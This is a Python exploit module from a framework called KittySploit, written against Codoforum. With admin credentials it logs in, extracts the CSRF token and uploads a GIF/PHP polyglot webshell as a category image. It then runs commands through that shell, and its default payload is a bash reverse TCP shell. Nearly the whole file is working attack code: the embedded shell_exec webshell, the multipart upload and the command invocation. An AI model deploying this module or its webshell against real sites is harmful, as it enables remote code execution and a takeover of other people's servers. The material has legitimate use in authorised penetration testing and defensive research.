Codoforum admin category-image polyglot upload RCE

"""Codoforum admin category-image polyglot upload RCE."""
from __future__ import annotations
import re
import time
from urllib.parse import quote, urlencode
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'Codoforum admin category-image polyglot upload RCE', 'description': 'Authenticated admin upload of GIF/PHP polyglot to sites/default/assets/img/cats/; GET ?c= runs shell_exec.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['codoforum', 'rce', 'authenticated', 'upload'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 5, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/codoforum_cat_img_polyglot_rce_detect']}}}
    _GIF_HEADER = b'GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;'
    _PHP_BODY = b'<?php echo shell_exec($_GET[chr(99)]); ?>'
    _POLYGLOT = _GIF_HEADER + _PHP_BODY
    port = OptPort(443, 'Codoforum HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    username = OptString('admin', 'Admin username', required=True)
    password = OptString('', 'Admin password', required=True)

    def _shell_name(self) -> str:
        cached = getattr(self, '_cf_shell', None)
        if cached:
            return cached
        name = 'cf_' + str(int(time.time())) + '.php'
        self._cf_shell = name
        return name

    @staticmethod
    def _extract_csrf(html: str) -> str:
        m = re.findall('[0-9a-f]{32}', html)
        return m[0] if m else ''

    def _admin_login(self) -> bool:
        self.http_request('GET', '/admin/index.php', session=True)
        body = urlencode({'username': str(self.username or 'admin'), 'password': str(self.password or '')})
        self.http_request('POST', '/admin/index.php?page=login', data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'}, session=True)
        dash = self.http_request('GET', '/admin/index.php?page=dashboard', session=True)
        text = (dash.text or '').lower() if dash else ''
        return 'dashboard' in text or 'categories' in text or len(text) > 2000

    def _upload_polyglot(self, csrf: str) -> bool:
        shell = self._shell_name()
        boundary = '----cfauditboundary7a3f9b2e'

        def field(name: str, value: str) -> bytes:
            return f'--{boundary}\r\nContent-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode()
        parts = b''
        parts += field('mode', 'new')
        parts += field('CSRF_token', csrf)
        parts += field('cat_name', f'AuditCat-{int(time.time())}')
        parts += field('cat_description', 'audit')
        parts += field('is_label', 'no')
        parts += field('default_subscription_type', 'no')
        parts += f'--{boundary}\r\n'.encode()
        parts += f'Content-Disposition: form-data; name="cat_img"; filename="{shell}"\r\nContent-Type: image/gif\r\n\r\n'.encode()
        parts += self._POLYGLOT + b'\r\n'
        parts += f'--{boundary}--\r\n'.encode()
        resp = self.http_request('POST', '/admin/index.php?page=categories', data=parts, headers={'Content-Type': f'multipart/form-data; boundary={boundary}'}, session=True)
        body = resp.text or '' if resp else ''
        return 'New Category Created' in body or 'Duplicate entry' in body

    def execute(self, cmd: str) -> str:
        if not self._admin_login():
            return 'admin login failed'
        page = self.http_request('GET', '/admin/index.php?page=categories', session=True)
        html = page.text or '' if page else ''
        csrf = self._extract_csrf(html)
        if not csrf:
            return 'could not extract admin CSRF token'
        if not self._upload_polyglot(csrf):
            return 'polyglot upload did not reach success branch'
        shell = self._shell_name()
        resp = self.http_request('GET', f'/sites/default/assets/img/cats/{shell}?c={quote(cmd)}')
        if not resp:
            return 'shell GET failed'
        body = resp.text or ''
        idx = body.find(';')
        return body[idx + 1:] if idx >= 0 else body

    def check(self):
        resp = self.http_request('GET', '/admin/index.php')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'Codoforum admin surface reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Admin UI not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.password or '').strip():
            print_error('Set admin password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Uploading GIF/PHP polyglot and invoking shell')
        out = self.execute(shell)
        if out and 'failed' not in out.lower()[:40]:
            print_success('Command output:')
            print_info(out[:8000])
            self.vulnerable()
            if str(self.shell_from_payload() or '').strip():
                return True
            print_success('Payload dispatched — waiting for reverse handler session')
            return True
        print_error(out or 'Exploit failed')
        self.not_vulnerable()
        return False